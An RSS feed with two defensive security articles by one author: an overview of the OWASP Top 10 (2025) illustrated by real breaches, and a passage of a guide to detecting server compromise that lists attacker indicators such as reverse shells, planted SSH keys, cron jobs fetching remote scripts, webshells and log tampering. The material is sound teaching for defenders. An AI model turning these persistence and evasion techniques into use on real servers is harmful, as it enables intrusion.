<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Olawale Afuye </title>
    <description>The latest articles on Forem by Olawale Afuye  (@walosha).</description>
    <link>https://forem.com/walosha</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F477620%2F8292c4cf-8266-4ccf-a3de-ba562fe95966.jpg</url>
      <title>Forem: Olawale Afuye </title>
      <link>https://forem.com/walosha</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/walosha"/>
    <language>en</language>
    <item>
      <title>The OWASP Top 10 (2025): 10 Ways Developers Are Handing Attackers the Keys</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Sun, 24 May 2026 10:40:14 +0000</pubDate>
      <link>https://forem.com/walosha/the-owasp-top-10-2025-10-ways-developers-are-handing-attackers-the-keys-4f9j</link>
      <guid>https://forem.com/walosha/the-owasp-top-10-2025-10-ways-developers-are-handing-attackers-the-keys-4f9j</guid>
      <description>&lt;h1&gt;
  
  
  The OWASP Top 10 (2025): 10 Ways Developers Are Handing Attackers the Keys
&lt;/h1&gt;

&lt;p&gt;Every major breach you've read about in the last five years?&lt;/p&gt;

&lt;p&gt;It was probably on this list.&lt;/p&gt;

&lt;p&gt;The OWASP Top 10 is updated every few years. It is not theory. It is a leaderboard of the most exploited vulnerabilities in production systems, right now, in companies with real engineering teams and real security budgets.&lt;/p&gt;

&lt;p&gt;Here are all 10. With receipts.&lt;/p&gt;




&lt;h2&gt;
  
  
  #1 — Broken Access Control
&lt;/h2&gt;

&lt;p&gt;Still number one. Has been number one since 2021.&lt;/p&gt;

&lt;p&gt;This is what happens when your server trusts the client to tell it what data to fetch — and never checks whether that user actually owns it.&lt;/p&gt;

&lt;p&gt;The attack is almost embarrassingly simple. You change a number in a URL or a request body. &lt;code&gt;user_id=1001&lt;/code&gt; becomes &lt;code&gt;user_id=1002&lt;/code&gt;. Server returns someone else's data. No hacking. Just counting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real world:&lt;/strong&gt; In 2022, Optus — Australia's second-largest telco — exposed nearly 10 million customer records through an unauthenticated API endpoint. No authentication required. You just had to know the URL existed. By the time they shut it down, the attacker had already enumerated and downloaded records on a massive scale.&lt;br&gt;
The April 2026 - Lovable breach is a perfect, modern example of Broken Object Level Authorization (BOLA).In this real-world incident, the AI-powered app-building platform Lovable exposed sensitive project data—including source code, internal AI reasoning logs, database credentials, and production customer information.The attack flow highlights exactly how a modern BOLA vulnerability operates:&lt;/p&gt;

&lt;p&gt;Mitigate with: server-side authorization checks on every request, SAST, DAST, and regular pen testing.&lt;/p&gt;




&lt;h2&gt;
  
  
  #2 — Security Misconfiguration
&lt;/h2&gt;

&lt;p&gt;Your application code can be perfect. Your infrastructure will still betray you.&lt;/p&gt;

&lt;p&gt;This one is almost always an infrastructure problem, not a code problem. Public S3 buckets. Default credentials left unchanged. Verbose error messages exposing stack traces to end users. Debug endpoints left alive in production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real world:&lt;/strong&gt; In 2023, PwC Nigeria had passports and personal addresses of bootcamp participants leaked from a misconfigured S3 bucket. The same year, Capita — a major UK government outsourcing firm — had council resident data exposed the same way. Not because someone hacked them. Because someone clicked the wrong permission setting.&lt;/p&gt;

&lt;p&gt;Datadog reported that as of 2024, 1.48% of all AWS S3 buckets were effectively public. That sounds small until you realize there are hundreds of billions of S3 objects out there.&lt;/p&gt;

&lt;p&gt;Mitigate with: IaC scanning, CSPM tools, and the radical idea of auditing your cloud permissions more than once a year.&lt;/p&gt;




&lt;h2&gt;
  
  
  #3 — Software &amp;amp; Supply Chain Failures
&lt;/h2&gt;

&lt;p&gt;This one has evolved. It used to be called "outdated components." The 2025 edition is scarier.&lt;/p&gt;

&lt;p&gt;It's not just about forgetting to patch. It's about trusting software you didn't write, can't audit, and don't fully understand — because it's open-source, or it came from a VS Code extension, or it's a transient dependency six layers deep in your package tree.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real world:&lt;/strong&gt; In March 2024, a developer named "Jia Tan" — who had spent two years quietly contributing to the XZ Utils open-source compression library — pushed a malicious backdoor into versions 5.6.0 and 5.6.1. The CVSS score was a perfect 10.0. It targeted OpenSSH authentication on Linux systems. It was only caught because a Microsoft engineer noticed an unexplained performance drop in a pre-release Debian build. That was luck. Not process.&lt;/p&gt;

&lt;p&gt;The SolarWinds attack in 2020 hit 18,000+ organizations — including US government departments — via a compromised software build pipeline. The attackers had access for months before anyone noticed.&lt;/p&gt;

&lt;p&gt;Mitigate with: SCA tools, dependency auditing, pinned package versions, and signed CI/CD pipelines.&lt;/p&gt;




&lt;h2&gt;
  
  
  #4 — Cryptographic Failures
&lt;/h2&gt;

&lt;p&gt;Using encryption is not enough. Using the &lt;em&gt;right&lt;/em&gt; encryption is the actual requirement.&lt;/p&gt;

&lt;p&gt;MD5 is not encryption. SHA-1 without salting is not protection. Storing sensitive data in plaintext because "it's an internal database" is a decision someone will regret personally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real world:&lt;/strong&gt; In 2012, LinkedIn was breached. 6.5 million password hashes were leaked. They used unsalted SHA-1. Crackers broke over 60% of them almost immediately. The full scale of the breach wasn't revealed until 2016 — 117 million accounts. The passwords were essentially readable because the underlying cryptographic choices were made by people who never expected the database to leak.&lt;/p&gt;

&lt;p&gt;Security researchers can calculate approximately 20 billion MD5 hashes per second on modern hardware. That "encrypted" database is not encrypted. It's a waiting room.&lt;/p&gt;

&lt;p&gt;Mitigate with: bcrypt, scrypt, or Argon2 for passwords. TLS everywhere. SAST to catch weak algorithm usage.&lt;/p&gt;




&lt;h2&gt;
  
  
  #5 — Injection
&lt;/h2&gt;

&lt;p&gt;This one has been on the OWASP list since the beginning. And it keeps showing up.&lt;/p&gt;

&lt;p&gt;The concept is deceptively simple: user input that gets treated as executable code. SQL injection. Command injection. LDAP injection. The application trusts the data, the database doesn't know better, and now the attacker is running arbitrary queries on your production database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real world:&lt;/strong&gt; In May 2023, the Cl0p ransomware group exploited a zero-day SQL injection vulnerability in MOVEit Transfer — a widely used enterprise file transfer tool. CVE-2023-34362. They had been testing this vulnerability since 2021. When they finally pulled the trigger, they hit thousands of organizations in days. Amazon confirmed that data on over 2 million employees was exposed. The BBC, British Airways, and multiple US government agencies were among the victims.&lt;/p&gt;

&lt;p&gt;All of this because untrusted input reached a database query without sanitization.&lt;/p&gt;

&lt;p&gt;Mitigate with: prepared statements, parameterized queries, input escaping, and SAST/DAST scanning.&lt;/p&gt;




&lt;h2&gt;
  
  
  #6 — Insecure Design
&lt;/h2&gt;

&lt;p&gt;This is the uncomfortable one.&lt;/p&gt;

&lt;p&gt;The other nine vulnerabilities on this list are implementation problems. This one is a thinking problem. Logic flaws baked into how a system was designed, before a single line of code was written.&lt;/p&gt;

&lt;p&gt;You can't patch your way out of insecure design. It requires going back to the architecture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real world:&lt;/strong&gt; In September 2022, an 18-year-old hacker got into Uber's internal systems — including Slack, AWS, and Google Workspace — without a single sophisticated exploit. He bought a contractor's stolen credentials online, then bombarded that contractor's phone with MFA push notifications. Forty notifications in thirty minutes. The contractor, exhausted, approved one. The attacker then impersonated Uber IT support on WhatsApp to explain what was happening. Inside, he found PowerShell scripts with hardcoded admin credentials.&lt;/p&gt;

&lt;p&gt;No SQL injection. No zero-day. A design that assumed MFA push notifications were sufficient and that human fatigue would never become the attack surface.&lt;/p&gt;

&lt;p&gt;Mitigate with: threat modeling (STRIDE), security design reviews, and treating human behavior as part of the attack surface, not an afterthought.&lt;/p&gt;




&lt;h2&gt;
  
  
  #7 — Authentication Failures
&lt;/h2&gt;

&lt;p&gt;Credential stuffing. Default passwords. Broken session management. All of these live here.&lt;/p&gt;

&lt;p&gt;The problem is almost never that authentication is too hard to implement. The problem is that teams roll their own authentication instead of using trusted providers — and discover later how many edge cases they missed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real world:&lt;/strong&gt; The T-Mobile breach of 2023 traced back to API endpoints that didn't verify the requesting customer matched the account being queried. Change the account identifier. Get someone else's data. Authentication was present. Authorization was absent. The distinction matters enormously.&lt;/p&gt;

&lt;p&gt;Default credentials remain one of the most reliable attack paths against enterprise infrastructure. Not because organizations don't know better. Because nobody checked.&lt;/p&gt;

&lt;p&gt;Mitigate with: battle-tested identity providers like Okta or Auth0, rate limiting on login endpoints, MFA with number-matching (not just push-approval), and account lockout policies.&lt;/p&gt;




&lt;h2&gt;
  
  
  #8 — Software &amp;amp; Data Integrity Failures
&lt;/h2&gt;

&lt;p&gt;You're trusting software updates and build pipelines that you've never verified.&lt;/p&gt;

&lt;p&gt;This is what happens when your CI/CD pipeline pulls dependencies from unverified sources, your deployment scripts don't validate checksums, and your update mechanism doesn't verify signatures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real world:&lt;/strong&gt; The SolarWinds attack is the canonical example. Attackers injected SUNBURST malware into Orion's legitimate update process. The update was signed with SolarWinds' actual certificate. Organizations installed it because they trusted the vendor. That trust became the weapon.&lt;/p&gt;

&lt;p&gt;In June 2024, Polyfill.io — a widely used JavaScript CDN — was acquired by a Chinese company that immediately began injecting malicious code into the scripts served to millions of websites. Every site that loaded polyfill.io scripts without integrity verification became a distribution point for malware without any action from the site owners themselves.&lt;/p&gt;

&lt;p&gt;Mitigate with: cryptographic signing of builds and artifacts, verified integrity checks in deployment pipelines, and strict review of third-party CDN dependencies.&lt;/p&gt;




&lt;h2&gt;
  
  
  #9 — Logging &amp;amp; Monitoring Failures
&lt;/h2&gt;

&lt;p&gt;This is the silent killer.&lt;/p&gt;

&lt;p&gt;The breach has already happened. The attacker is already inside. But nobody knows — because nobody is watching.&lt;/p&gt;

&lt;p&gt;The Equifax breach in 2017 is the textbook case for this. Apache Struts CVE-2017-5638 was disclosed in March. The patch was available in March. Equifax failed to apply it. Attackers got in on May 13th. Equifax didn't discover the breach until July 29th — over 78 days later. The logging architecture was fragmented. Alerts went to overloaded analysts. No centralized SIEM correlated the suspicious activity. Over 300 security monitoring certificates had expired, including ones monitoring critical domains. 147 million Americans' data was exposed.&lt;/p&gt;

&lt;p&gt;The vulnerability let them in. The logging failure let them stay.&lt;/p&gt;

&lt;p&gt;Mitigate with: centralized logging, real-time alerting on anomalous patterns, tested incident response plans, and — critically — actually reviewing your alerts.&lt;/p&gt;




&lt;h2&gt;
  
  
  #10 — Mishandling of Exceptional Conditions
&lt;/h2&gt;

&lt;p&gt;What happens when your application receives input it wasn't designed for?&lt;/p&gt;

&lt;p&gt;Most developers design for the happy path. Attackers specifically test what happens when input is chaotic, malformed, oversized, empty, or structurally wrong. If those conditions cause your application to crash, leak data, or behave unpredictably, that predictability becomes exploitable.&lt;/p&gt;

&lt;p&gt;Buffer overflows. Integer overflows. Uncaught exceptions that expose stack traces. All of these live in this category.&lt;/p&gt;

&lt;p&gt;Mitigate with: fuzzing — automated tools that throw unexpected, malformed, and random inputs at your system to find failure modes before attackers do.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Pattern Across All 10
&lt;/h2&gt;

&lt;p&gt;Read all of these and one thing becomes clear.&lt;/p&gt;

&lt;p&gt;Most of these breaches weren't sophisticated. They weren't the work of nation-state hackers deploying exotic zero-days. They were SQL injection left unchecked. An S3 bucket with the wrong permission. A password hashed with an algorithm from 1995. A log nobody was reading.&lt;/p&gt;

&lt;p&gt;The uncomfortable truth is that most breaches happen not because security is hard, but because security is treated as someone else's problem.&lt;/p&gt;

&lt;p&gt;It is not.&lt;/p&gt;

&lt;p&gt;Security is a design discipline. It belongs in architecture conversations, in code reviews, in your dependency audits, and in your incident response drills. Tools like SAST, DAST, and SCA handle a lot of the mechanical detection. But tools can't fix an architecture that wasn't designed with threat modeling. They can't retroactively salt your password hashes. They can't make your team read the alerts they're ignoring.&lt;/p&gt;

&lt;p&gt;The OWASP Top 10 has been published since 2003. The same categories keep showing up. The companies keep changing. The vulnerabilities don't.&lt;/p&gt;

&lt;p&gt;That should tell you something.&lt;/p&gt;




&lt;p&gt;Which of these is the one your team is most likely to miss? Drop it in the comments.&lt;/p&gt;

</description>
      <category>security</category>
      <category>owasp</category>
      <category>cybersecurity</category>
      <category>software</category>
    </item>
    <item>
      <title>How to Know If a Threat Actor Has Accessed Your Server</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Sat, 23 May 2026 20:42:01 +0000</pubDate>
      <link>https://forem.com/walosha/how-to-know-if-a-threat-actor-has-accessed-your-server-3372</link>
      <guid>https://forem.com/walosha/how-to-know-if-a-threat-actor-has-accessed-your-server-3372</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A practical detection, investigation, and response guide for DevOps engineers, backend developers, security engineers, and startup CTOs.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sobering reality:&lt;/strong&gt; IBM's 2023 Cost of a Data Breach Report found that the average breach goes &lt;strong&gt;undetected for 204 days&lt;/strong&gt; — nearly 7 months. By the time most teams notice something is wrong, the attacker has already been living in their infrastructure long enough to map every service, exfiltrate sensitive data, and install multiple persistence mechanisms. The detection gap, not the initial intrusion, is what turns an incident into a catastrophe.&lt;/p&gt;

&lt;p&gt;This guide closes that gap.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Common Signs a Threat Actor Accessed a Server&lt;/li&gt;
&lt;li&gt;Where to Check — Logs &amp;amp; Evidence Sources&lt;/li&gt;
&lt;li&gt;Network-Based Detection&lt;/li&gt;
&lt;li&gt;Step-by-Step Investigation Playbook&lt;/li&gt;
&lt;li&gt;Useful Commands &amp;amp; Tools&lt;/li&gt;
&lt;li&gt;MITRE ATT&amp;amp;CK Technique Mapping&lt;/li&gt;
&lt;li&gt;Indicators of Compromise (IoC) Checklist&lt;/li&gt;
&lt;li&gt;Immediate Response Actions&lt;/li&gt;
&lt;li&gt;Legal, Compliance &amp;amp; Regulatory Obligations&lt;/li&gt;
&lt;li&gt;Prevention Best Practices&lt;/li&gt;
&lt;li&gt;Windows Server Incident Response&lt;/li&gt;
&lt;li&gt;Real-World Example&lt;/li&gt;
&lt;li&gt;Conclusion — The DICRP Framework&lt;/li&gt;
&lt;li&gt;Quick Reference&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Introduction
&lt;/h2&gt;

&lt;p&gt;Every server connected to the internet is a target. It is not a question of &lt;em&gt;if&lt;/em&gt; someone will attempt to access it without authorisation — it is a question of &lt;em&gt;when&lt;/em&gt;, and whether you will detect it in time.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;server compromise&lt;/strong&gt; occurs when an unauthorised party gains access to a system in a way that was not intended, permitted, or expected. This could range from a low-privilege attacker who merely explored your file system to a sophisticated threat actor who has maintained persistent access for months, exfiltrated data, and planted backdoors before you noticed anything unusual.&lt;/p&gt;

&lt;h3&gt;
  
  
  Normal vs. Suspicious vs. Confirmed Compromise
&lt;/h3&gt;

&lt;p&gt;Understanding the difference between these three states is the foundation of any incident investigation.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;State&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Normal access&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Expected behaviour from known users, services, or automated systems&lt;/td&gt;
&lt;td&gt;Your deployment pipeline SSH-ing in as &lt;code&gt;deploy&lt;/code&gt; at 2:00 AM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Suspicious access&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Anomalous activity that may or may not be malicious — requires investigation&lt;/td&gt;
&lt;td&gt;A root login from an unrecognised IP at 3:47 AM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Confirmed compromise&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Evidence of unauthorised access, malicious activity, or data breach&lt;/td&gt;
&lt;td&gt;A reverse shell process running as &lt;code&gt;www-data&lt;/code&gt;; unknown SSH keys added&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The critical skill is &lt;strong&gt;recognising the gap&lt;/strong&gt; between "something looks off" and "we have been breached." Many teams either dismiss suspicious signals too quickly or panic at false positives. This guide will help you tell the difference — and act accordingly.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Common Signs a Threat Actor Accessed a Server
&lt;/h2&gt;

&lt;p&gt;Before diving into log analysis, you need to know what you are looking for. The following indicators are the most common signals that something is wrong.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1 Unusual Login Attempts (SSH / RDP / API)
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1110/" rel="noopener noreferrer"&gt;T1110 — Brute Force&lt;/a&gt;, &lt;a href="https://attack.mitre.org/techniques/T1078/" rel="noopener noreferrer"&gt;T1078 — Valid Accounts&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Brute-force attempts are often a precursor to or evidence of access. A high volume of failed logins followed by a single successful one is a textbook sign of a successful brute-force attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple failed SSH attempts from the same or rotating IP addresses&lt;/li&gt;
&lt;li&gt;Successful logins from geographic locations inconsistent with your team&lt;/li&gt;
&lt;li&gt;Logins at unusual hours (3:00 AM when your team is in Lagos / London / NYC)&lt;/li&gt;
&lt;li&gt;Logins from IPs flagged in threat intelligence databases (Shodan, AbuseIPDB)&lt;/li&gt;
&lt;li&gt;API authentication tokens used from unexpected IP ranges&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.2 Unknown Users or Privilege Escalation
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1136/" rel="noopener noreferrer"&gt;T1136 — Create Account&lt;/a&gt;, &lt;a href="https://attack.mitre.org/techniques/T1548/" rel="noopener noreferrer"&gt;T1548 — Abuse Elevation Control Mechanism&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Attackers often create backdoor accounts or escalate privileges to maintain access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New user accounts in &lt;code&gt;/etc/passwd&lt;/code&gt; you did not create&lt;/li&gt;
&lt;li&gt;Users added to &lt;code&gt;sudo&lt;/code&gt; or the &lt;code&gt;wheel&lt;/code&gt; group without authorisation&lt;/li&gt;
&lt;li&gt;Changes to &lt;code&gt;/etc/sudoers&lt;/code&gt; or &lt;code&gt;/etc/sudoers.d/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A non-root user suddenly running processes as root&lt;/li&gt;
&lt;li&gt;SUID/SGID binaries that were not there before&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.3 Unexpected Running Processes / Services
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1059/" rel="noopener noreferrer"&gt;T1059 — Command and Scripting Interpreter&lt;/a&gt;, &lt;a href="https://attack.mitre.org/techniques/T1543/" rel="noopener noreferrer"&gt;T1543 — Create or Modify System Process&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Malicious actors install tools — cryptominers, reverse shells, data exfiltration agents. These show up as unexpected processes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Processes with random or disguised names (e.g., &lt;code&gt;kworkerds&lt;/code&gt;, &lt;code&gt;sysupdate&lt;/code&gt;, &lt;code&gt;.init&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Processes listening on unusual ports&lt;/li&gt;
&lt;li&gt;Unknown services registered with &lt;code&gt;systemd&lt;/code&gt; or &lt;code&gt;init.d&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Processes consuming excessive CPU (often cryptominers)&lt;/li&gt;
&lt;li&gt;Processes running as &lt;code&gt;www-data&lt;/code&gt;, &lt;code&gt;nginx&lt;/code&gt;, or other service accounts but performing non-service tasks&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.4 Modified System Files / Configurations
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1565/" rel="noopener noreferrer"&gt;T1565 — Data Manipulation&lt;/a&gt;, &lt;a href="https://attack.mitre.org/techniques/T1601/" rel="noopener noreferrer"&gt;T1601 — Modify System Image&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Attackers modify system files to maintain persistence or disable defences.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Changes to &lt;code&gt;/etc/hosts&lt;/code&gt; (redirecting DNS)&lt;/li&gt;
&lt;li&gt;Modified shell profiles: &lt;code&gt;.bashrc&lt;/code&gt;, &lt;code&gt;.bash_profile&lt;/code&gt;, &lt;code&gt;.profile&lt;/code&gt;, &lt;code&gt;/etc/profile.d/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Altered PAM configuration files (&lt;code&gt;/etc/pam.d/&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Modified SSH server config (&lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;) — e.g., &lt;code&gt;PermitRootLogin yes&lt;/code&gt; added&lt;/li&gt;
&lt;li&gt;Timestamp discrepancies on critical binaries (&lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;ps&lt;/code&gt;, &lt;code&gt;netstat&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Changes to web application files (&lt;code&gt;index.php&lt;/code&gt;, &lt;code&gt;config.js&lt;/code&gt;) — webshells&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.5 Unusual Outbound / Inbound Network Traffic
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1071/" rel="noopener noreferrer"&gt;T1071 — Application Layer Protocol&lt;/a&gt;, &lt;a href="https://attack.mitre.org/techniques/T1041/" rel="noopener noreferrer"&gt;T1041 — Exfiltration Over C2 Channel&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Data exfiltration and command-and-control (C2) communication create distinctive network patterns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Large outbound data transfers to unknown IPs, especially at odd hours&lt;/li&gt;
&lt;li&gt;Connections to known malicious IP ranges or Tor exit nodes&lt;/li&gt;
&lt;li&gt;Unusual protocols or ports (IRC on port 6667, DNS tunnelling, ICMP data transfer)&lt;/li&gt;
&lt;li&gt;New persistent connections to external IPs from service accounts&lt;/li&gt;
&lt;li&gt;DNS queries to domains with high entropy (DGA — Domain Generation Algorithm)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.6 High CPU, RAM, or Disk Usage Anomalies
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1496/" rel="noopener noreferrer"&gt;T1496 — Resource Hijacking&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Resource abuse is one of the most visible (and often first noticed) signs of compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CPU usage consistently above 80–90% with no corresponding application load&lt;/li&gt;
&lt;li&gt;Disk I/O spikes with no scheduled jobs running&lt;/li&gt;
&lt;li&gt;Disk filling up rapidly with unexpected files&lt;/li&gt;
&lt;li&gt;Memory exhaustion tied to an unknown process&lt;/li&gt;
&lt;li&gt;Cryptomining malware is the most common cause — it is immediately visible in resource graphs&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.7 Disabled Security Tools or Logs
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1562/" rel="noopener noreferrer"&gt;T1562 — Impair Defenses&lt;/a&gt;, &lt;a href="https://attack.mitre.org/techniques/T1070/" rel="noopener noreferrer"&gt;T1070 — Indicator Removal&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A sophisticated attacker's first action is often to blind your monitoring.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;auditd&lt;/code&gt;, &lt;code&gt;fail2ban&lt;/code&gt;, &lt;code&gt;iptables&lt;/code&gt;, or &lt;code&gt;ufw&lt;/code&gt; suddenly stopped or disabled&lt;/li&gt;
&lt;li&gt;Log files that are empty, truncated, or have suspicious gaps&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cron&lt;/code&gt; entries that pipe logs to &lt;code&gt;/dev/null&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Security agent (CrowdStrike, Wazuh, OSSEC) reporting offline&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;syslog&lt;/code&gt; daemon stopped or replaced&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.8 Unexpected Cron Jobs / Scheduled Tasks
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1053/" rel="noopener noreferrer"&gt;T1053 — Scheduled Task/Job&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Cron is a favourite persistence mechanism for attackers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Entries in &lt;code&gt;/var/spool/cron/crontabs/&lt;/code&gt; you do not recognise&lt;/li&gt;
&lt;li&gt;New files in &lt;code&gt;/etc/cron.d/&lt;/code&gt;, &lt;code&gt;/etc/cron.hourly/&lt;/code&gt;, &lt;code&gt;/etc/cron.daily/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Cron jobs that download and execute scripts from external URLs&lt;/li&gt;
&lt;li&gt;Windows: Scheduled Tasks created under &lt;code&gt;\Microsoft\Windows\&lt;/code&gt; in Task Scheduler&lt;/li&gt;
&lt;li&gt;Systemd timers (&lt;code&gt;systemctl list-timers&lt;/code&gt;) that are unexpected&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.9 New SSH Keys or Changed Credentials
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;MITRE ATT&amp;amp;CK: &lt;a href="https://attack.mitre.org/techniques/T1098/" rel="noopener noreferrer"&gt;T1098 — Account Manipulation&lt;/a&gt;, &lt;a href="https://attack.mitre.org/techniques/T1556/" rel="noopener noreferrer"&gt;T1556 — Modify Authentication Process&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Attackers plant SSH keys to ensure persistent re-entry even after passwords are changed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New entries in &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; for root or any user&lt;/li&gt;
&lt;li&gt;New keys in &lt;code&gt;/etc/ssh/authorized_keys&lt;/code&gt; (if configured globally)&lt;/li&gt;
&lt;li&gt;SSH host keys regenerated (check &lt;code&gt;/etc/ssh/ssh_host_*&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Changed &lt;code&gt;/etc/passwd&lt;/code&gt; or &lt;code&gt;/etc/shadow&lt;/code&gt; entries (password hash changes)&lt;/li&gt;
&lt;li&gt;Cloud metadata service SSH key updates (AWS EC2 Instance Connect, GCP OS Login)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Where to Check — Logs &amp;amp; Evidence Sources
&lt;/h2&gt;

&lt;p&gt;Once you suspect compromise, you need to know exactly where to look. Here is a comprehensive map of log locations and what each reveals.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.1 Linux System Logs
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Log File&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
